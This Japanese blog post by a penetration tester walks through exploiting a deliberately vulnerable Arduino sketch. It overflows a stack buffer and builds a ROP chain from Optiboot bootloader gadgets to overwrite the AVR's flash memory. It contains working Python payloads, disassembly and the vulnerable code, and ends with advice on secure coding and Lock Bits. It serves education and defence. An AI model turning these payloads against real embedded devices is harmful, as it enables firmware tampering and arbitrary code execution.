ラック・セキュリティごった煮ブログ

セキュリティエンジニアがエンジニアの方に向けて、 セキュリティやIT技術に関する情報を発信していくアカウントです。

【お知らせ】2021年5月10日~リニューアルオープン!今後はこちらで新しい記事を公開します。

株式会社ラックのセキュリティエンジニアが、 エンジニアの方向けにセキュリティやIT技術に関する情報を発信するブログです。(編集:株式会社ラック・デジタルペンテスト部)
当ウェブサイトをご利用の際には、こちらの「サイトのご利用条件」をご確認ください。

デジタルペンテスト部提供サービス:ペネトレーションテスト

AVRマイコンでROPを試した話

初めまして、DP部の今井です。
バイナリエクスプロイトのROP(Return-oriented programming)をAVRマイコンに対して試してみた話です。

注意:本記事の内容によってトラブルなどが発生した場合でも、当社は一切の責任を負いかねます。また、本情報の悪用はしないでください。

概要

今回はAVRマイコンが乗っているArduino Uno Rev3を使いました。 Arduino IDEで以下のコードを作成しArduino Unoに書き込んだ時、どのように悪用できるでしょうか?

// avr_rop.inoの一部

int LED_PIN = 13;
char tmp[0x100];

__attribute__((optimize("O0"))) 
void win() {
  // LEDを100msごとに点滅させる処理
}

void setup() {
  Serial.begin(9600); 
}

__attribute__((optimize("O0")))
void loop() {
  char buf[0x10] = {0};
  if(Serial.available() > 0){
    int ret = Serial.readBytes(tmp, 0x100);
    Serial.println("OK");  
    memcpy(buf, tmp, ret); // Buffer Over Flowの発生
  }
}

このプログラムは、シリアル通信でデータを読み取り、読み取りを完了するとOKと出力するプログラムです。
そして攻撃者は、ハードウェアにアクセスすることはできずシリアル通信でデータを送信できるものとします。そして、フラッシュメモリ内のプログラムバイナリを(なぜか)持っているとします。

完全なソースコードや関連ファイルは以下のリンクからダウンロードできます。

gitlab.com

環境

Arduino Uno Rev3
Arduino IDE 2.3.2(avr-gcc version:7.3.0)
Atmega328pのFuse High Byte,Lockの値(初期値)

Fuse High Byte: 0xd6
 Lock bit: 0xcf

Arduino Uno Rev3

脆弱性

脆弱性は明らかです。 loop関数内の、シリアル通信で最大0x100byteのデータの読み込み→tmp配列に保存→それをスタック上のサイズ0x10のbuf配列に保存 の箇所で、Stack Buffer Over Flowが発生します。

さて、このBuffer Over Flowで何ができるでしょうか? Stack上のreturn addressを書き換えることで、LEDを点滅させるwin関数を呼び出せそうであることは分かると思います。

攻撃が成功するかどうかは環境依存ですが、フラッシュメモリ(プログラムが保存されている電源を落としても消えない領域)を書き換えることや任意プログラムの実行ができてしまいます。 任意プログラムの実行はフラッシュメモリの書き換えの応用(プログラムをフラッシュメモリに書き込むだけ)であるため、本記事ではフラッシュメモリの書き換えをゴールとして説明したいと思います。

AVRアーキテクチャについて

簡単にAVRアーキテクチャについて説明します。

メモリ

AVRはハーバードアーキテクチャを採用しており、プログラムはProgram Memoryという名のフラッシュメモリ(以降Program Memoryと呼ぶ)に保存され、プログラム実行時に書き換える必要のあるデータはData Memoryという名のSRAMに保存されます。

Atmega328pのProgram Memory
Atmega328pのData Memory
Data Memoryはスタック領域として使われたりレジスタマッピングされていますが、実行不可能な領域です。

Data Memoryは実行不可能な領域なので、Stack上のBuffer Over Flowの脆弱性があったとしても、Stack上にshellcodeを配置してshellcodeを実行させることはできません。 なので、AVRでStack Buffer Over Flowの脆弱性を突くためにはROPを使う必要があります。

レジスタ

AVRには8bitのgeneral purposeレジスタが32個(R0-R31)、stack pointerの上位1byteと下位1byteを保持するSPH, SPLレジスタなどがあります。

関数呼び出しに関して

関数呼び出し時は、x86と同様にreturn addressがスタック上にpushされます。
具体的には、word address(1word = 2byte)の上位byte, 下位byteの順番にpushされます。 例えば、return addressが0x1234の場合、word addressは0x091a( = 0x1234/2)なので、push 0x09; push 0x1a; の後に関数の処理が実行されます。

return addressを書き換えてみる

ROPの前に、Stack Buffer Over Flowの脆弱性を使うことでreturn addressの書き換えができることを確かめてみます。
まずbuf変数の先頭アドレスとreturn addressの上位byteのアドレス差を求めます。
loop関数の逆アセンブル結果の主要部分は以下の通りです。

$ avr-objdump --demangle -d ./avr_rop.ino.elf
...
00000730 <loop>:
 730:   cf 93       push    r28
 732:   df 93       push    r29
 734:   cd b7       in      r28, 0x3d #スタックポインタの上位byteをR28に保存
 736:   de b7       in      r29, 0x3e
 738:   62 97       sbiw    r28, 0x12 # R28 -= 0x12
 73a:   0f b6       in      r0, 0x3f    
 78e:   ce 01       movw    r24, r28 # R24 = R28
...
 790:   03 96       adiw    r24, 0x03 # R24 += 3
 792:   a9 01       movw    r20, r18
 794:   6a e1       ldi     r22, 0x1A    
 796:   71 e0       ldi     r23, 0x01      
 798:   0e 94 b5 04 call    0x96a   ; 0x96a <memcpy> # 第一引数のbufのアドレスは上位byteはR25、下位byteはR24で指定

注意点として、AVRのスタックポインタは次に使用されるStackのフリーなメモリアドレスを指しています。(x86のスタックポインタは使用しているスタックエリアの先頭を指しています)
なので、以下の図のようにbufの先頭アドレスとreturn addressの上位byteのアドレス差は0x12byteであると分かります。

memcpy呼び出し時(0x798)のスタックの構造

win関数は0x7aeに存在しているので、return addressをwin関数に書き換えるコードは以下のようになります。
これを実行しreturn addressの書き換えが成功すると、LEDが100msごとにチカチカします。

import serial
import struct

win_addr = 0x7ae

s = serial.Serial("/dev/ttyACM0", 9600)
payload = b"A" * 0x12
payload += struct.pack('>h', win_addr // 2) # wordアドレスをHigh,Lowの順に変換
s.write(payload)
s.close()

Program Memory領域の書き換え

Program Memoryに書き込む命令

avr_rop.inoのコード内で行っている変数の読み書きの処理は、全てData Memory内で読み書きを行っています。
AVRでは、Program Memoryにデータを書き込むためにはspmという特別な命令を使用する必要があります。 この命令はProgram Memoryを消去したり、Data Memory→Program Memoryへとデータを転送する際に使う命令です。

avr_rop.ino.elf内にspm命令が存在するか確認してみましょう。

$ avr-objdump -d avr_rop.ino.elf  | grep spm
$ # 出力無し

残念ながらspm命令が存在しませんでした。。。

avr_rop.ino.elf内にはspm命令は存在しませんでしたが、他のProgram Memory領域はどうでしょうか?
Arduino IDEでプログラムを作成した経験のある方ならご存じかと思いますが、ArduinoのAtmega328pにはブートローダーのプログラムが書き込まれています。デフォルトのブートローダーはシリアル通信でやってきたデータをProgram Memoryに書き込む機能を持っています。
Program Memoryに書き込む...なんだかブートローダーのプログラム内にはspm命令が存在しそうですよね。

Program Memory内のブートローダーの確認

ブートローダーの開始アドレスはFuse High Byteで設定されます。
今回はAtmega328pのFuse High Byte値は0xd6なのでTable 27-6によりBOOTSZ0, BOOTSZ1共に1です。 Table 26-7によりブートローダーは0x3F00 - 0x3FFFに配置されると書いてます。このアドレスはword addressなので、実際のアドレスは0x7E00 - 0x7FFFとなります。

Atmega328pのFuse High Byte
Atmega328pのブートローダーのアドレス設定値

avrdudeと激安プログラマのusbaspでProgram Memoryをダンプしました。ダンプ結果のファイルはflash_dump.binです。

$ avrdude -c usbasp -p m328p -U flash:r:flash_dump.bin:r

usbaspを使ったProgram Memoryのダンプ

ダンプしたデータを見ると、0x7E00~0x7FFFまで11 24 84 B7... と何かプログラムのようなデータが書き込まれています。これがブートローダーのようです。

Program Memoryの0x7E00付近のデータ

このデータについて調べたところ、Atmega328用のOptibootというブートローダーのようでした。

Optiboot

Optibootはシリアル通信でやってくるデータをSTK500プロトコルに沿って処理します。OptibootにはSTK500プロトコルに定義されている、Program Memoryを書き換えるコマンドも実装されています。

OptibootのソースコードとAtmega328用のOptibootの逆アセンブル結果はそれぞれoptiboot.cとoptiboot_atmega328.lstです。 これらはArduinoのアプリフォルダ内に存在していました。
アセンブル結果のoptiboot_atmega328.lstを見ると、アドレス0x7E00から11 24 84 B7... とデータが並んでいて、ダンプファイル(flash_dump.bin)の0x7E00から始まるデータはOptibootで間違いなさそうです。

optiboot_atmega328.lstの0x7E00付近

そして、optiboot_atmega328.lstを見ると、Program Memoryを操作するspm命令が存在しています!

Optibootのコード中にspm命令を発見

spm命令とrop gadget

spm命令はProgram Memoryを消去したり書き込んだりできる強力な命令且つ複数の機能を持つ命令なので、spm命令を使用する際はデータシートに書かれてある手順に従う必要があります。

Program Memoryへデータを書き込む手順について簡単に説明します。 spm命令のどの機能が使用されるかはSPMCSRというレジスタの値で決定されます。

SPMCSRレジスタ
Program Memoryへデータを書き込むには、temporary page bufferというバッファに一度書き込みたいデータを書き込む必要があります。
temporary page bufferに書きこむには、書き込むアドレスをr31:r30レジスタ、書き込む値をr1:r0レジスタに保存し、SPMCSRレジスタを1に設定し(Bit 0のSELFPRGENのみ有効化)、SPMCSRレジスタ操作後4クロック以内にspm命令を実行します。
temporary page bufferのデータをProgram Memoryへ書きこむには、書き込むアドレスをr31:r30レジスタに保存し、SPMCSRレジスタを5に設定し(Bit 0のSELFPRGENとBit 2のPGWRTを有効化)、SPMCSRレジスタ操作後4クロック以内にspm命令を実行します。

このような2つのspm命令の操作を行える命令列をOptibootのコードで探したところ、以下の命令列が使えそうです。

    7f1c:   fa 01       movw  r30, r20 # 書き込むアドレスをr20:r21→r30:r31へ代入
    7f1e:   0c 01       movw    r0, r24 # 書き込む値をr24:r25→r0:r1へ代入
    7f20:   87 be       out 0x37, r8  # r8レジスタの値をSPMCSRレジスタに設定
    7f22:   e8 95       spm # temporary page bufferへ書き込む
    7f24:   11 24       eor r1, r1
    7f26:   4e 5f       subi    r20, 0xFE
    7f28:   5f 4f       sbci    r21, 0xFF
    7f2a:   f1 e0       ldi r31, 0x01
    7f2c:   a0 38       cpi r26, 0x80
    7f2e:   bf 07       cpc r27, r31
    7f30:   51 f7       brne    .-44        ; 0x7f06 <main+0x106>

    7f32:   f6 01       movw    r30, r12 # 書き込むアドレスをr12:r13→r30:r31へ代入
    7f34:   a7 be       out 0x37, r10   # r10レジスタの値をSPMCSRレジスタに設定
    7f36:   e8 95       spm # Program Memoryへ書き込む

SPMCSRレジスタはData Memoryのアドレス0x57に存在しており、out 0x37, r8でr8レジスタの値をSPMCSRレジスタに設定できます。
r13:r12とr21:r20に書き込むアドレス値、r25:r24に書き込む値、r26に0x80、r27に0x1を設定した状態で0x7f1cから始まる命令列を実行すると、0x7f20の命令でSPMCSRレジスタに1を設定し0x7f22のspm命令でtemporary page bufferへ書き込む、0x7f34の命令でSPMCSRレジスタに5を設定し0x7f36のspm命令でProgram Memoryへ書き込むことができます。
レジスタへの値の代入は、以下のようなレジスタをまとめてpop する処理が割り込みハンドラの関数内に多数存在しているので、これをrop gadgetとして使うことができます。

rop gadget

以上のことをまとめて、例えばProgram Memoryのアドレス0x6000から2byteを0x1337を書き換えるコードは以下のようになります。

import serial
import struct

s = serial.Serial("/dev/ttyACM0", 9600)

pop_r13_r12_r11_r10_r9_r8_ret = 0x02c0
pop_r27_r26_r25_r24_r23_r22_r21_r20_r19_r18_r0_r0_r1_ret = 0x06ae
spm = 0x7f1c

write_address = 0x6000
write_value = 0x1337

payload = b'A'*0x12
payload += struct.pack('>h', pop_r13_r12_r11_r10_r9_r8_ret // 2)
payload += struct.pack('B', write_address >> 8) # r13 (write address H)
payload += struct.pack('B', write_address & 0xff) # r12 (write address L)
payload += struct.pack('B', 0x00) # r11
payload += struct.pack('B', 0x05) # r10 (SELFPRGEN|PGWRT)
payload += struct.pack('B', 0x00) # r9 
payload += struct.pack('B', 0x01) # r8 (SELFPRGEN)
payload += struct.pack('>h', pop_r27_r26_r25_r24_r23_r22_r21_r20_r19_r18_r0_r0_r1_ret // 2)
payload += struct.pack('B', 0x01) # r27
payload += struct.pack('B', 0x80) # r26
payload += struct.pack('B', write_value & 0xff) # r25 (write data L)
payload += struct.pack('B', write_value >> 8) # r24 (write data H)
payload += struct.pack('B', 0x00) # r23
payload += struct.pack('B', 0x00) # r22
payload += struct.pack('B', write_address >> 8) # r21 (write address H)
payload += struct.pack('B', write_address & 0xff) # r20 (write address L)
payload += struct.pack('B', 0x00) # r19
payload += struct.pack('B', 0x00) # r18
payload += struct.pack('B', 0x00) # r0
payload += struct.pack('B', 0x00) # r0
payload += struct.pack('B', 0x00) # r1


payload += struct.pack('>h', spm // 2)

s.write(payload)
ret = s.read(2)
print(ret)
s.close()

実行後のProgram Memoryをダンプしてみると、画像のようにアドレス0x6000,0x6001が書き換えられていました。

実行後のProgram Memoryのダンプ

おわりに

今回は、AVRマイコンのAtmega328に対してBuffer Over Flowの脆弱性を悪用しROPを行うことでProgram Memoryを書き換えることを試しました。
Program Memory中の2byteだけ書き換える例を紹介しましたが、Optibootのコード内にはwatchdogタイマーを設定するrop gadgetが存在しているため、Atmega328を再起動させながらProgram Memoryを連続的に書き換える攻撃も可能だと思います。

攻撃が成功するかどうかは環境依存と書きましたが、spm命令がプログラム中に存在しない場合や 、そもそもLock Bitでspm命令の使用が禁止されているとProgram Memoryを書き換える攻撃は失敗します。

組み込み機器のプログラミングでは、ソフトウェアのセキュリティ対策としてセキュアにプログラムを書くことと、AVRのLock Bitのようなハードウェアのセキュリティ機構も利用するべきだと感じました。